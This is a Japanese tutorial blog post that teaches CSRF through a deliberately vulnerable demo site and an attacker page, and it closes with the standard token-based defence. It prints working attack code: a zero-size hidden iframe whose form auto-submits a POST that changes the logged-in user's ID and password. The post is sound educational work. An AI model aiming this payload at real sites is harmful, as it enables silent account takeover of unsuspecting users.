概要
- CSRFはWEBセキュリティにおいて重要な知識
- なのに入門者はCSRFについての知識を疎かにしてることが多い
- CSRFは、実際のサンプルサイトがないと分かりにくい
- ということで実際にサンプルサイトを作ってみた
サンプルサイト
-
CSRF脆弱性があるサンプルサイト
(ID、PWは誰でも見れるようになっているので、決して実際の情報で登録しないでください)
https://hack-csrf-sample.herokuapp.com/ -
サンプルサイトへCSRF攻撃をするページ
https://sagami1991.github.io/csrf-sample/
何ができるサイトか
サンプルサイトで会員登録後、攻撃用ページを開くと、勝手にサンプルサイトのID、PWが変更されます
-
ここで、攻撃者用ページ(https://sagami1991.github.io/csrf-sample/) を開いてみます。開くだけで何もせずにOKです
仕組み
CSRF攻撃の仕組みはわかりやすい記事がそこら中にあると思うので細かい話は省略します。
-
サンプルサイトでログインする
-
一定時間、ログインは保持される
- (cookieにsessionIDを持っていて、サンプルサイトのサーバーはsessionIDを元にsession情報を読み取り、ログイン情報等も判断する)
-
攻撃者用ページにアクセスする
-
攻撃者用ページからiframe内で会員情報変更処理ページに自動でPOST送信される
- iframe内でPOST送信させれば、画面遷移しないのでユーザーにばれない
- iframeを埋め込んでいる部分
index.html<iframe src="hack-iframe.html" width="0" height="0"></iframe>
- iframeに埋め込んであるページのソース
index.html<!-- ユーザー情報変更ページへPOST送信するForm --> <form action="https://hack-csrf-sample.herokuapp.com/mypage/edit" method="POST"> <!-- サンプルサイトのhtmlソースを見ながらIDとパスワードのパラメータ名(name)を合わせ、 変更させたい適当な値をvalueに設定する --> <input name="userId" value="hogehogehacker" /> <input name="password" value="hogehogehacker" /> </form> <script> // 自動でpost送信させるコード var form = document.querySelector("form"); form.submit() </script>
-
サンプルサイトの会員情報が勝手に変更される
- ブラウザにサンプルサイトのcookie情報が残っていれば、サンプルサイトのサーバーサイドはログインしているものと判断するので、会員情報変更ページから変更リクエストが来たものと同じように判断してしまいます。
対策方法
これも、そこらの記事に書かれてあったり、フレームワークによって設定方法があると思うので細かいことは省略しますが、だいたい以下のような方法を採用しています。
- ログイン時にトークン(乱数)を生成し、sessionに格納する
- post送信時はform内にそのトークンを入れ、サーバー内でリクエストパラメータのトークンと、session内のトークンが同一かどうか判断する
- 同一ならばリクエストを受け付ける
- SessionIDが漏れない限り、攻撃者はトークンが分からないので外部からPOST送信することができなくなる。
最後に
サンプルサイトはheroku、攻撃用ページはgithub pagesで作っています。
今どき、なんでもタダでできちゃうのがいいですね。
ちなみにサンプルサイトはtypescript+nodejsで書いています。
nodejsは環境構築が簡単で、重たいIDEなどもいらないので、ストレスフリーでこういうサンプルサイトがつくれちゃいます。
- サンプルサイトのソースコード
https://github.com/sagami1991/csrf-sample/tree/master/server - 攻撃者用ページのソースコード
https://github.com/sagami1991/csrf-sample/tree/master/docs